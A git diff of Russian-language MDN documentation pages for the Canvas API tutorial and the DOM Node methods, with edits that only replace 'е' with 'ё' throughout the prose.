              color может быть цветом, (строка, представленная в CSS {{cssxref("<color>")}}), градиентом или паттерном. Градиенты и паттерны мы рассмотрим позже. По умолчанию цвет фона и контура  — чёрный (значение CSS цвета  #000000).
              
 
 
              
 
              На заметку: Когда вы устанавливаете  значения strokeStyle и/или fillStyle, то новое значение становится стандартным для всех фигур, которые будут нарисованы с этого момента. Когда вам нужен другой цвет, вы должны перезаписать значение в fillStyle или в strokeStyle для каждой фигуры.
              
@@ -39,7 +39,7 @@ ctx.fillStyle = "rgba(255,165,0,1)";
 
 
              Пример fillStyle
              
 
-
              В этом примере мы опять воспользуемся двойным циклом, чтобы нарисовать сетку из прямоугольников, каждый из которых имеет свой цвет. Окончательное изображение должно иметь вид, как показано на скриншоте. Здесь не происходит ничего сверхъестественного. Мы используем две переменные i и j для генерации уникального RGB цвета для каждого квадрата и изменяем только красные и зеленые значения. Синий канал представляет собой фиксированное значение. Путем изменения каналов вы можете генерировать всю палитру. Увеличив количество шагов вы можете достигнуть такого вида палитры, какая используется в Photoshop.
              
+
              В этом примере мы опять воспользуемся двойным циклом, чтобы нарисовать сетку из прямоугольников, каждый из которых имеет свой цвет. Окончательное изображение должно иметь вид, как показано на скриншоте. Здесь не происходит ничего сверхъестественного. Мы используем две переменные i и j для генерации уникального RGB цвета для каждого квадрата и изменяем только красные и зелёные значения. Синий канал представляет собой фиксированное значение. Путём изменения каналов вы можете генерировать всю палитру. Увеличив количество шагов вы можете достигнуть такого вида палитры, какая используется в Photoshop.
              
 
 
              function draw() {
   var ctx = document.getElementById('canvas').getContext('2d');
@@ -113,7 +113,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
 
 
              Пример globalAlpha
              
 
-
              В данном примере мы нарисуем фон и четыре квадрата с различными цветами.  Сверху изображения будет выведен набор полупрозрачных кругов. Установим свойство globalAlpha значением 0.2, которое будет использовано для всех последующих форм. Каждый шаг цикла рисует круг с большим радиусом. По окончанию получим радиальный градиент. Накладывая еще больше кругов друг на друга, мы фактически сможем уменьшить прозрачность ранее нарисованных кругов. Увеличив счетчик итераций, при этом рисуя еще круги, мы сможем добиться исчезновение центра изображения.
              
+
              В данном примере мы нарисуем фон и четыре квадрата с различными цветами.  Сверху изображения будет выведен набор полупрозрачных кругов. Установим свойство globalAlpha значением 0.2, которое будет использовано для всех последующих форм. Каждый шаг цикла рисует круг с большим радиусом. По окончанию получим радиальный градиент. Накладывая ещё больше кругов друг на друга, мы фактически сможем уменьшить прозрачность ранее нарисованных кругов. Увеличив счётчик итераций, при этом рисуя ещё круги, мы сможем добиться исчезновение центра изображения.
              
 
 
              function draw() {
   var ctx = document.getElementById('canvas').getContext('2d');
@@ -195,22 +195,22 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
  
              {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit = value")}}
              
  
              Устанавливает ограничение на митру, когда две линии соединяются под острым углом, чтобы вы могли контролировать её толщину.
              
  
              {{domxref("CanvasRenderingContext2D.getLineDash", "getLineDash()")}}
              
- 
              Возвращает текущий массив тире штриховки, содержащий четное число неотрицательных чисел.
              
+ 
              Возвращает текущий массив тире штриховки, содержащий чётное число неотрицательных чисел.
              
  
              {{domxref("CanvasRenderingContext2D.setLineDash", "setLineDash(segments)")}}
              
  
              Устанавливает текущий пунктир линии.
              
  
              {{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset = value")}}
              
  
              Указывает, где следует начинать тире массива в строке.
              
 
 
-
              Вы лучше поймете, что они делают, глядя на приведенные ниже примеры.
              
+
              Вы лучше поймёте, что они делают, глядя на приведённые ниже примеры.
              
 
 
              Пример lineWidth
              
 
-
              Это свойство задает толщину текущей строки. Значения должны быть положительными. По умолчанию для этого значения установлено 1.0 единицы.
              
+
              Это свойство задаёт толщину текущей строки. Значения должны быть положительными. По умолчанию для этого значения установлено 1.0 единицы.
              
 
-
              Ширина линии - это толщина хода, центрированного по данному пути. Другими словами, область, которая нарисована, простирается до половины ширины линии по обе стороны пути. Поскольку координаты холста не напрямую ссылаются на пиксели, особое внимание следует уделять получению четких горизонтальных и вертикальных линий.
              
+
              Ширина линии - это толщина хода, центрированного по данному пути. Другими словами, область, которая нарисована, простирается до половины ширины линии по обе стороны пути. Поскольку координаты холста не напрямую ссылаются на пиксели, особое внимание следует уделять получению чётких горизонтальных и вертикальных линий.
              
 
-
              В приведенном ниже примере 10 прямых линий рисуются с увеличением ширины линий. Линия в крайнем левом углу - 1.0 единицы. Тем не менее, толщина левой и всех других линий нечетной ширины не выглядят четкими из-за позиционирования пути.
              
+
              В приведённом ниже примере 10 прямых линий рисуются с увеличением ширины линий. Линия в крайнем левом углу - 1.0 единицы. Тем не менее, толщина левой и всех других линий нечётной ширины не выглядят чёткими из-за позиционирования пути.
              
 
 
              function draw() {
   var ctx = document.getElementById('canvas').getContext('2d');
@@ -232,7 +232,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
 
 
              {{EmbedLiveSample("Пример_lineWidth", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}
              
 
-
              Получение четких строк требует понимания путей сглаживания. На рисунках ниже представлена сетка координат холста. Квадраты между сетками являются фактическими экранными пикселями. В первом изображении сетки ниже прямоугольник от (2, 1) до (5, 5) заполняется. Вся область между ними (светло-красный) падает на границы пикселей, поэтому полученный заполненный прямоугольник будет иметь четкие края.
              
+
              Получение чётких строк требует понимания путей сглаживания. На рисунках ниже представлена сетка координат холста. Квадраты между сетками являются фактическими экранными пикселями. В первом изображении сетки ниже прямоугольник от (2, 1) до (5, 5) заполняется. Вся область между ними (светло-красный) падает на границы пикселей, поэтому полученный заполненный прямоугольник будет иметь чёткие края.
              
 
 
              
 
@@ -241,14 +241,14 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
 
              Чтобы исправить это, вы должны быть более точными при создании пути. Зная, что линия шириной 1.0 занимает половину единицы по обе стороны пути, создание пути от (3.5, 1) до (3.5, 5) приведёт к ситуации в третьем изображении - ширина линии 1.0 закончится верно, точно заполняя вертикальную линию с одним пикселем.
              
 
 
              
-
              Примечание: Имейте в виду, что в нашем примере с вертикальной линией позиция Y по-прежнему ссылается на целочисленную позицию сетки - иначе мы увидели бы пиксели с половинным охватом в конечных точках (также обратите внимание, что это поведение зависит от текущего стиля lineCap,  значение по умолчанию - butt; вы можете вычислить согласованные штрихи с полупиксельными координатами для линий с нечетной шириной, установив стиль lineCap в square, чтобы внешняя граница вокруг конечной точки линии автоматически расширялась, охватывая весь пиксель в точку).
              
+
              Примечание: Имейте в виду, что в нашем примере с вертикальной линией позиция Y по-прежнему ссылается на целочисленную позицию сетки - иначе мы увидели бы пиксели с половинным охватом в конечных точках (также обратите внимание, что это поведение зависит от текущего стиля lineCap,  значение по умолчанию - butt; вы можете вычислить согласованные штрихи с полупиксельными координатами для линий с нечётной шириной, установив стиль lineCap в square, чтобы внешняя граница вокруг конечной точки линии автоматически расширялась, охватывая весь пиксель в точку).
              
 
-
              Также обратите внимание, что затронуты только начальные и конечные  точки пути: если путь закрыт с помощью closePath(), - нет начальной и конечной точки; вместо этого все конечные точки в пути подключены к их прикрепленному предыдущему и следующему сегментам и при текущей настройке стиля lineJoin в значении по умолчанию - miter, с эффектом автоматического расширения внешних границ подключенных сегментов до их точки пересечения - обработанный ход будет точно покрывать полные пиксели с центром в каждой конечной точке, если эти связанные сегменты горизонтальны и/или вертикальны). См. следующие два раздела, демонстрирующие эти дополнительные стили.
              
+
              Также обратите внимание, что затронуты только начальные и конечные  точки пути: если путь закрыт с помощью closePath(), - нет начальной и конечной точки; вместо этого все конечные точки в пути подключены к их прикреплённому предыдущему и следующему сегментам и при текущей настройке стиля lineJoin в значении по умолчанию - miter, с эффектом автоматического расширения внешних границ подключённых сегментов до их точки пересечения - обработанный ход будет точно покрывать полные пиксели с центром в каждой конечной точке, если эти связанные сегменты горизонтальны и/или вертикальны). См. следующие два раздела, демонстрирующие эти дополнительные стили.
              
 
              
 
-
              Для линий с четной шириной каждая половина заканчивается как целое количество пикселей, поэтому вам нужен путь, который находится между пикселями (то есть (3,1) - (3,5)), вместо середины пикселей.
              
+
              Для линий с чётной шириной каждая половина заканчивается как целое количество пикселей, поэтому вам нужен путь, который находится между пикселями (то есть (3,1) - (3,5)), вместо середины пикселей.
              
 
-
              Хотя это и необычно, когда изначально работаешь с масштабируемой 2D-графикой, обращая внимание на сетку пикселей и положение путей, но вы убедитесь, что ваши рисунки будут выглядеть правильно, независимо от масштабирования или любых других преобразований. Вертикальная линия ширины 1,0, построенная таким образом, станет четкой 2-пиксельной линией при увеличении на 2 и появится в правильном положении.
              
+
              Хотя это и необычно, когда изначально работаешь с масштабируемой 2D-графикой, обращая внимание на сетку пикселей и положение путей, но вы убедитесь, что ваши рисунки будут выглядеть правильно, независимо от масштабирования или любых других преобразований. Вертикальная линия ширины 1,0, построенная таким образом, станет чёткой 2-пиксельной линией при увеличении на 2 и появится в правильном положении.
              
 
 
              Пример lineCap
              
 
@@ -265,7 +265,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
  
              Концы линий описаны квадратом с равной шириной и половиной высоты толщины линии.
              
 
 
-
              В этом примере мы проведем три строки, каждая из которых имеет другое значение для свойства lineCap. Я также добавил два руководства, чтобы увидеть точные различия между ними. Каждая из этих линий начинается и заканчивается именно на этих направляющих.
              
+
              В этом примере мы проведём три строки, каждая из которых имеет другое значение для свойства lineCap. Я также добавил два руководства, чтобы увидеть точные различия между ними. Каждая из этих линий начинается и заканчивается именно на этих направляющих.
              
 
 
              Строка слева использует butt опцию по умолчанию. Вы заметите, что она полностью очищена от направляющих. Второй вариант -  round опция. Это добавляет полукруг к концу, который имеет радиус, равный половине ширины линии. Строка справа использует square опцию. Это добавляет поле с равной шириной и половиной высоты толщины линии.
              
 
@@ -313,14 +313,14 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
 
 
              
  
              round
              
- 
              Радиус заполняемой части для скругленных углов равен половине ширины линии. центр этого радиуса совпадает с концами подключенных сегментов.
              
+ 
              Радиус заполняемой части для скруглённых углов равен половине ширины линии. центр этого радиуса совпадает с концами подключённых сегментов.
              
  
              bevel
              
- 
              Заполняет дополнительную треугольную область между общей конечной точкой подключенных сегментов и отдельными внешними прямоугольными углами каждого сегмента. 
              
+ 
              Заполняет дополнительную треугольную область между общей конечной точкой подключённых сегментов и отдельными внешними прямоугольными углами каждого сегмента. 
              
  
              miter
              
- 
              Подключенные сегменты соединяются путем расширения их внешних краев для соединения в одной точке с эффектом заполнения дополнительной области в форме пастилки. Эта настройка выполняется с помощью свойства miterLimit, которое объясняется ниже.
              
+ 
              Подключённые сегменты соединяются путём расширения их внешних краёв для соединения в одной точке с эффектом заполнения дополнительной области в форме пастилки. Эта настройка выполняется с помощью свойства miterLimit, которое объясняется ниже.
              
 
              
 
-
              В приведенном ниже примере показаны три разных пути, демонстрирующие каждый из этих трех свойств lineJoin; результат - выше. 
              
+
              В приведённом ниже примере показаны три разных пути, демонстрирующие каждый из этих трёх свойств lineJoin; результат - выше. 
              
 
 
              function draw() {
   var ctx = document.getElementById('canvas').getContext('2d');
@@ -351,9 +351,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
 
 
              Как вы видели в предыдущем примере, при объединении двух строк с опцией miter внешние края двух соединительных линий расширены до точки, где они встречаются. Для линий, которые находятся под большими углами друг с другом, эта точка находится недалеко от внутренней точки соединения. Однако, поскольку углы между каждой линией уменьшаются, расстояние (длина меча) между этими точками увеличивается экспоненциально.
              
 
-
              Свойство miterLimit определяет, как далеко можно установить внешнюю точку соединения из внутренней точки подключения. Если две линии превышают это значение, вместо этого получается привязка конуса. Обратите внимание, что максимальная длина митра является произведением ширины линии, измеренной в текущей системе координат, значением этого свойства miterLimit (значение по умолчанию 10,0 в HTML {{HTMLElement("canvas")}}), поэтому miterLimit может устанавливаться независимо от текущей шкалы дисплея или любых аффинных преобразований путей: она влияет только на эффективно визуализированную форму ребер линии.
              
+
              Свойство miterLimit определяет, как далеко можно установить внешнюю точку соединения из внутренней точки подключения. Если две линии превышают это значение, вместо этого получается привязка конуса. Обратите внимание, что максимальная длина митра является произведением ширины линии, измеренной в текущей системе координат, значением этого свойства miterLimit (значение по умолчанию 10,0 в HTML {{HTMLElement("canvas")}}), поэтому miterLimit может устанавливаться независимо от текущей шкалы дисплея или любых аффинных преобразований путей: она влияет только на эффективно визуализированную форму рёбер линии.
              
 
-
              Точнее, предел митры является максимально допустимым отношением длины расширения (в холсте HTML он измеряется между внешним углом соединенных краев линии и общей конечной точкой соединительных сегментов, указанными на пути), до половины ширины линии. Его можно равнозначно определить как максимально допустимое отношение расстояния между внутренней и внешней точками перехода краев к общей ширине линии. Затем он равен косекансу с половиной минимального внутреннего угла соединительных сегментов, ниже которого не будет создано ни одного соединения митра, а только скос соединяется:
              
+
              Точнее, предел митры является максимально допустимым отношением длины расширения (в холсте HTML он измеряется между внешним углом соединённых краёв линии и общей конечной точкой соединительных сегментов, указанными на пути), до половины ширины линии. Его можно равнозначно определить как максимально допустимое отношение расстояния между внутренней и внешней точками перехода краёв к общей ширине линии. Затем он равен косекансу с половиной минимального внутреннего угла соединительных сегментов, ниже которого не будет создано ни одного соединения митра, а только скос соединяется:
              
 
 
                
  
              • miterLimit = max miterLength / lineWidth = 1 / sin ( min θ / 2 )
                • 
@@ -365,7 +365,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
 
 
                Вот небольшая демонстрация, в которой вы можете динамически установить miterLimit и посмотреть, как это влияет на фигуры на холсте. Синие линии показывают, где начальная и конечная точки для каждой из линий в шаблоне зигзага.
                
 
-
                Если вы укажете в этой демонстрации значение miterLimit ниже 4.2, ни один из видимых углов не присоединится к расширению митры, но только с небольшим скосом рядом с синими линиями; с отметкой miterLimit выше 10, большинство углов в этой демонстрации должны соединяться с митрой, удаленной от синих линий, высота которой уменьшается между углами слева направо, потому что они соединяются с растущими углами; с промежуточными значениями углы с левой стороны будут соединяться только с скосом рядом с синими линиями, а углы с правой стороны с удлинителем митры (также с уменьшающейся высотой).
                
+
                Если вы укажете в этой демонстрации значение miterLimit ниже 4.2, ни один из видимых углов не присоединится к расширению митры, но только с небольшим скосом рядом с синими линиями; с отметкой miterLimit выше 10, большинство углов в этой демонстрации должны соединяться с митрой, удалённой от синих линий, высота которой уменьшается между углами слева направо, потому что они соединяются с растущими углами; с промежуточными значениями углы с левой стороны будут соединяться только с скосом рядом с синими линиями, а углы с правой стороны с удлинителем митры (также с уменьшающейся высотой).
                
 
 
                function draw() {
   var ctx = document.getElementById('canvas').getContext('2d');
@@ -425,7 +425,7 @@ draw();
                
 
 
                Метод setLineDash и свойство lineDashOffset задают шаблон штрихов для линий. Метод setLineDash принимает список чисел, который определяет расстояния для попеременного рисования линии и разрыва, а свойство lineDashOffset устанавливает смещение, с которого начинается шаблон.
                
 
-
                В этом примере мы создаем эффект походных муравьев. Это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу. В следующей части этого руководства вы узнаете, как сделать эту и другие основные анимации.
                
+
                В этом примере мы создаём эффект походных муравьёв. Это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу. В следующей части этого руководства вы узнаете, как сделать эту и другие основные анимации.
                
 
 
 
-
                В первых нескольких строках кода мы рисуем черный прямоугольник размером с холстом в качестве фона, а затем переводим начало координат в центр. Затем мы создаем круговой обтравочный контур, рисуя дугу и вызывающий clip(). Обрезанные контуры также являются частью состояния сохранения холста. Если бы мы хотели сохранить исходный обтравочный контур, мы могли бы сохранить состояние холста перед созданием нового.
                
+
                В первых нескольких строках кода мы рисуем чёрный прямоугольник размером с холстом в качестве фона, а затем переводим начало координат в центр. Затем мы создаём круговой обтравочный контур, рисуя дугу и вызывающий clip(). Обрезанные контуры также являются частью состояния сохранения холста. Если бы мы хотели сохранить исходный обтравочный контур, мы могли бы сохранить состояние холста перед созданием нового.
                
 
-
                Все, что нарисовано после создания отсеченного контура, появится только внутри этого пути. Вы можете видеть это четко в линейном градиенте, который нарисован далее. После этого набирается набор из 50 случайно расположенных и масштабированных звезд, используя drawStar(). Снова звезды появляются только в пределах определенного обтравочного контура.
                
+
                Все, что нарисовано после создания отсечённого контура, появится только внутри этого пути. Вы можете видеть это чётко в линейном градиенте, который нарисован далее. После этого набирается набор из 50 случайно расположенных и масштабированных звёзд, используя drawStar(). Снова звезды появляются только в пределах определённого обтравочного контура.
                
 
 
                {{EmbedLiveSample("A_clip_example", "180", "180", "https://mdn.mozillademos.org/files/208/Canvas_clip.png")}}
                
 
diff --git a/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html b/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html
index 30225ac786..83ef78542a 100644
--- a/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html
+++ b/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html
@@ -12,11 +12,11 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур
 
 
                Сетка
                
 
-
                Перед тем, как мы начнем рисовать, нам нужно поговорить о сетке canvas или координатной плоскости. Наш HTML каркас из предыдущей страницы включал в себя элемент canvas 150 пикселей в ширину и 150 пикселей в высоту. Справа можно увидеть этот canvas с сеткой, накладываемой по умолчанию. Обычно 1 единица на сетке соответствует 1 пикселю на canvas. Начало координат этой сетки расположено в верхнем левом углу в координате (0,0 ). Все элементы размещены относительно этого начала. Таким образом, положение верхнего левого угла синего квадрата составляет х пикселей слева и у пикселей сверху, на координате (х, у). Позже в этом уроке мы увидим, как можно перевести начало координат в другое место, вращать сетку и даже масштабировать ее, но сейчас мы будем придерживаться настроек сетки по умолчанию.
                
+
                Перед тем, как мы начнём рисовать, нам нужно поговорить о сетке canvas или координатной плоскости. Наш HTML каркас из предыдущей страницы включал в себя элемент canvas 150 пикселей в ширину и 150 пикселей в высоту. Справа можно увидеть этот canvas с сеткой, накладываемой по умолчанию. Обычно 1 единица на сетке соответствует 1 пикселю на canvas. Начало координат этой сетки расположено в верхнем левом углу в координате (0,0 ). Все элементы размещены относительно этого начала. Таким образом, положение верхнего левого угла синего квадрата составляет х пикселей слева и у пикселей сверху, на координате (х, у). Позже в этом уроке мы увидим, как можно перевести начало координат в другое место, вращать сетку и даже масштабировать её, но сейчас мы будем придерживаться настроек сетки по умолчанию.
                
 
 
                Рисование прямоугольников
                
 
-
                В отличие от {{Glossary("SVG")}}, {{HTMLElement("canvas")}} поддерживает только одну примитивную фигуру: прямоугольник. Все другие фигуры должны быть созданы комбинацией одного или большего количества контуров (paths), набором точек, соединенных в линии. К счастью в ассортименте рисования контуров у нас есть  функции, которые делают возможным составление очень сложных фигур.
                
+
                В отличие от {{Glossary("SVG")}}, {{HTMLElement("canvas")}} поддерживает только одну примитивную фигуру: прямоугольник. Все другие фигуры должны быть созданы комбинацией одного или большего количества контуров (paths), набором точек, соединённых в линии. К счастью в ассортименте рисования контуров у нас есть  функции, которые делают возможным составление очень сложных фигур.
                
 
 
                Сначала рассмотрим прямоугольник. Ниже представлены три функции рисования прямоугольников в canvas:
                
 
@@ -29,7 +29,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур
  
                Очистка  прямоугольной области, делая содержимое совершенно прозрачным.
                
 
 
-
                Каждая из приведенных функций принимает несколько параметров: 
                
+
                Каждая из приведённых функций принимает несколько параметров: 
                
 
 
                  
  
                • x, y устанавливают положение верхнего левого угла прямоугольника в canvas (относительно начала координат);
                  • 
@@ -60,11 +60,11 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур
   }
 }
              
 
-
              Этот пример изображен ниже.
              
+
              Этот пример изображён ниже.
              
 
 
              {{EmbedLiveSample("Пример_создания_прямоугольных_фигур", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}
              
 
-
              Функция fillRect() рисует большой чёрный квадрат со стороной 100 px. Функция clearRect() вырезает квадрат 60х60 из центра, а функция strokeRect() создает прямоугольный контур 50х50 пикселей внутри очищенного квадрата.
              
+
              Функция fillRect() рисует большой чёрный квадрат со стороной 100 px. Функция clearRect() вырезает квадрат 60х60 из центра, а функция strokeRect() создаёт прямоугольный контур 50х50 пикселей внутри очищенного квадрата.
              
 
 
              На следующей странице мы рассмотрим две альтернативы методу clearRect(), и также увидим, как можно изменять цвет и стиль контура отображаемых фигур.
              
 
@@ -77,7 +77,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур
 
              Создание фигур используя контуры происходит в несколько важных шагов:
              
 
 
                
- 
              1. Сначала вы создаете контур.
                2. 
+ 
              2. Сначала вы создаёте контур.
                3. 
  
              3. Затем, используя команды рисования, рисуете контур.
                4. 
  
              4. Потом закрываете контур.
                5. 
  
              5. Созданный контур вы можете обвести или залить для его отображения.
                6. 
@@ -87,7 +87,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур
 
 
                
  
                {{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}
                
- 
                Создает новый контур. После создания используется в дальнейшем командами рисования при построении контуров.
                
+ 
                Создаёт новый контур. После создания используется в дальнейшем командами рисования при построении контуров.
                
  
                Path методы
                
  
                Методы для установки различных контуров объекта.
                
  
                {{domxref("CanvasRenderingContext2D.closePath", "closePath()")}}
                
@@ -195,12 +195,12 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур
 
 
                
  
                {{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}
                
- 
                Рисует линию с текущей позиции до позиции, определенной x и y.
                
+ 
                Рисует линию с текущей позиции до позиции, определённой x и y.
                
 
                
 
 
                Этот метод принимает два аргумента x и y, которые являются координатами конечной точки линии. Начальная точка зависит от ранее нарисованных путей, причём конечная точка предыдущего пути является начальной точкой следующего и т. д. Начальная точка также может быть изменена с помощью метода moveTo().
                
 
-
                Пример ниже рисует два треугольника, один закрашенный и другой обведен контуром.
                
+
                Пример ниже рисует два треугольника, один закрашенный и другой обведён контуром.
                
 
 
                
 
-
                Рассмотрим детальнее метод arc(), который имеет пять параметров: x и y — это координаты центра окружности, в которой должна быть нарисована дуга. radius — не требует пояснений. Углы startAngle и endAngle определяют начальную и конечную точки дуги в радианах вдоль кривой окружности. Отсчет происходит от оси x. Параметр anticlockwise — логическое значение, которое, если true, то рисование дуги совершается против хода часовой стрелки; иначе рисование происходит по ходу часовой стрелки.
                
+
                Рассмотрим детальнее метод arc(), который имеет пять параметров: x и y — это координаты центра окружности, в которой должна быть нарисована дуга. radius — не требует пояснений. Углы startAngle и endAngle определяют начальную и конечную точки дуги в радианах вдоль кривой окружности. Отсчёт происходит от оси x. Параметр anticlockwise — логическое значение, которое, если true, то рисование дуги совершается против хода часовой стрелки; иначе рисование происходит по ходу часовой стрелки.
                
 
 
                
 
                Note: Углы в функции arc() измеряют в радианах, не в градусах. Для перевода градусов в радианы вы можете использовать JavaScript-выражение: radians = (Math.PI/180)*degrees.
                
@@ -263,7 +263,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур
 
 
                Координаты x и y  должны быть достаточно ясны. radius and startAngle — фиксированы. endAngle начинается со 180 градусов (полуокружность) в первой колонке и, увеличиваясь с шагом 90 градусов, достигает кульминации полноценной окружностью в последнем столбце.
                
 
-
                Установка параметра clockwise определяет результат; в первой и третьей строках рисование дуг происходит по часовой стрелке, а во второй и четвертой - против часовой стрелки. Благодаря if-условию верхняя половина дуг образуется с контуром, (обводкой), а нижняя половина дуг - с заливкой.
                
+
                Установка параметра clockwise определяет результат; в первой и третьей строках рисование дуг происходит по часовой стрелке, а во второй и четвёртой - против часовой стрелки. Благодаря if-условию верхняя половина дуг образуется с контуром, (обводкой), а нижняя половина дуг - с заливкой.
                
 
 
                
 
                Note: Этот пример требует немного большего холста (canvas), чем другие на этой странице: 150 x 200 pixels.
                
@@ -319,13 +319,13 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур
  
                Рисуется кубическая кривая Безье с текущей позиции пера в конечную точку с координатами x и y, используя две контрольные точки с координатами (cp1x, cp1y) и (cp2x, cp2y).
                
 
 
-
                Различие между ними можно увидеть на рисунке, изображенном справа. Квадратичная кривая Безье имеет стартовую и конечную точки (синие точки) и всего одну контрольную точку (красная точка), в то время как кубическая кривая Безье использует две контрольные точки.
                
+
                Различие между ними можно увидеть на рисунке, изображённом справа. Квадратичная кривая Безье имеет стартовую и конечную точки (синие точки) и всего одну контрольную точку (красная точка), в то время как кубическая кривая Безье использует две контрольные точки.
                
 
 
                Параметры x и y в этих двух методах являются координатами конечной точки. cp1x и cp1y — координаты первой контрольной точки, а cp2x и cp2y — координаты второй контрольной точки.
                
 
 
                Использование квадратичных или кубических кривых Безье может быть  спорным выходом, так как в отличие от приложений векторной графики типа Adobe Illustrator, мы не имеем полной видимой обратной связи с тем, что мы делаем. Этот факт делает довольно сложным процесс рисования сложных фигур. В следующем примере мы нарисуем совсем простую составную фигуру, но, если у вас есть время и ещё больше терпения, можно создать более сложные составные фигуры.
                
 
-
                В этом примере нет ничего слишком тяжелого. В обоих случаях мы видим последовательность кривых, рисуя которые, в результате получим составную фигуру.
                
+
                В этом примере нет ничего слишком тяжёлого. В обоих случаях мы видим последовательность кривых, рисуя которые, в результате получим составную фигуру.
                
 
 
                Квадратичные кривые Безье
                
 
@@ -513,7 +513,7 @@ function roundedRect(ctx,x,y,width,height,radius){
 
 
                Мы не будем подробно останавливаться на том, так как это на самом деле удивительно просто. Наиболее важные вещи, которые следует отметить, это использование свойства fillStyle в контексте рисования и использование функции утилиты (в данном случае roundedRect()). Использование функций утилиты для битов чертежа часто может быть очень полезным и сократить количество необходимого кода, а также его сложность.
                
 
-
                Позже, в этом уроке, мы еще раз рассмотрим fillStyle, но более подробно. Здесь же мы используем его для изменения цвета заливки путей вместо цвета по умолчанию от черного до белого, а затем обратно.
                
+
                Позже, в этом уроке, мы ещё раз рассмотрим fillStyle, но более подробно. Здесь же мы используем его для изменения цвета заливки путей вместо цвета по умолчанию от чёрного до белого, а затем обратно.
                
 
 
                Path2D объекты
                
 
@@ -522,7 +522,7 @@ function roundedRect(ctx,x,y,width,height,radius){
 
 
                
  
                {{domxref("Path2D.Path2D", "Path2D()")}}
                
- 
                Конструктор Path2D() возвращает вновь созданный объект Path2D  необязательно с другим путем в качестве аргумента (создает копию) или необязательно со строкой, состоящей из данных пути SVG path .
                
+ 
                Конструктор Path2D() возвращает вновь созданный объект Path2D  необязательно с другим путём в качестве аргумента (создаёт копию) или необязательно со строкой, состоящей из данных пути SVG path .
                
 
                
 
 
                new Path2D();     // пустой path объект
@@ -540,7 +540,7 @@ new Path2D(d);    // path из SVG
                
 
 
                Path2D пример
                
 
-
                В этом примере мы создаем прямоугольник и круг. Оба они сохраняются как объект Path2D, поэтому они доступны для последующего использования. С новым API Path2D несколько методов были обновлены, чтобы при необходимости принять объект Path2D для использования вместо текущего пути. Здесь stroke и fill используются с аргументом пути, например, для рисования обоих объектов на холст.
                
+
                В этом примере мы создаём прямоугольник и круг. Оба они сохраняются как объект Path2D, поэтому они доступны для последующего использования. С новым API Path2D несколько методов были обновлены, чтобы при необходимости принять объект Path2D для использования вместо текущего пути. Здесь stroke и fill используются с аргументом пути, например, для рисования обоих объектов на холст.
                
 
 
            
  
            path
            
@@ -54,7 +54,7 @@ ctx.rect(10, 10, 100, 100);
 ctx.fill();
            -

            Отредактируйте приведенный ниже код и посмотрите, как обновляется ваше обновление на холсте:

            +

            Отредактируйте приведённый ниже код и посмотрите, как обновляется ваше обновление на холсте:

            -

            Свойство Node.prefix только для чтения, возвращающее префикс пространства имен указанного узла или null, если не указан префикс. Это свойство только для чтения.

            +

            Свойство Node.prefix только для чтения, возвращающее префикс пространства имён указанного узла или null, если не указан префикс. Это свойство только для чтения.

            Синтаксис

            diff --git a/files/ru/web/api/node/removechild/index.html b/files/ru/web/api/node/removechild/index.html index 738dadbaa6..0666aa815c 100644 --- a/files/ru/web/api/node/removechild/index.html +++ b/files/ru/web/api/node/removechild/index.html @@ -12,7 +12,7 @@ translation_of: Web/API/Node/removeChild

            Аннотация

            -

            Удаляет дочерний элемент из DOM. Возвращает удаленный элемент.

            +

            Удаляет дочерний элемент из DOM. Возвращает удалённый элемент.

            Синтаксис

            @@ -21,14 +21,14 @@ translation_of: Web/API/Node/removeChild
              -
            • child дочерний элемент который будет удален из DOM.
              • +
            • child дочерний элемент который будет удалён из DOM.
            • element родительский элемент удаляемого child.
            • oldChild ссылка на удаляемый дочерний элемент. oldChild === child.
            -

            Удаленный дочерний элемент остается в памяти, но больше не является частью DOM. Вы можете повторно использовать удаленный элемент с помощью ссылки на объект - oldChild.

            +

            Удалённый дочерний элемент остаётся в памяти, но больше не является частью DOM. Вы можете повторно использовать удалённый элемент с помощью ссылки на объект - oldChild.

            -

            Если child не является дочерним элементом element, тогда метод генерирует исключение. Также это происходит если child является дочерним элементом element во время вызова метода, но был удален во время вызова обработчика событий удаляющего элемент(т.e при удалении элемента непосредственно перед вызовом обработчика событий).

            +

            Если child не является дочерним элементом element, тогда метод генерирует исключение. Также это происходит если child является дочерним элементом element во время вызова метода, но был удалён во время вызова обработчика событий удаляющего элемент(т.e при удалении элемента непосредственно перед вызовом обработчика событий).

            Пример

            diff --git a/files/ru/web/api/node/replacechild/index.html b/files/ru/web/api/node/replacechild/index.html index c1959cc322..ae9a375735 100644 --- a/files/ru/web/api/node/replacechild/index.html +++ b/files/ru/web/api/node/replacechild/index.html @@ -14,34 +14,34 @@ original_slug: Web/API/Node.replaceChild
            {{ApiRef}}

            Аннотация

            -

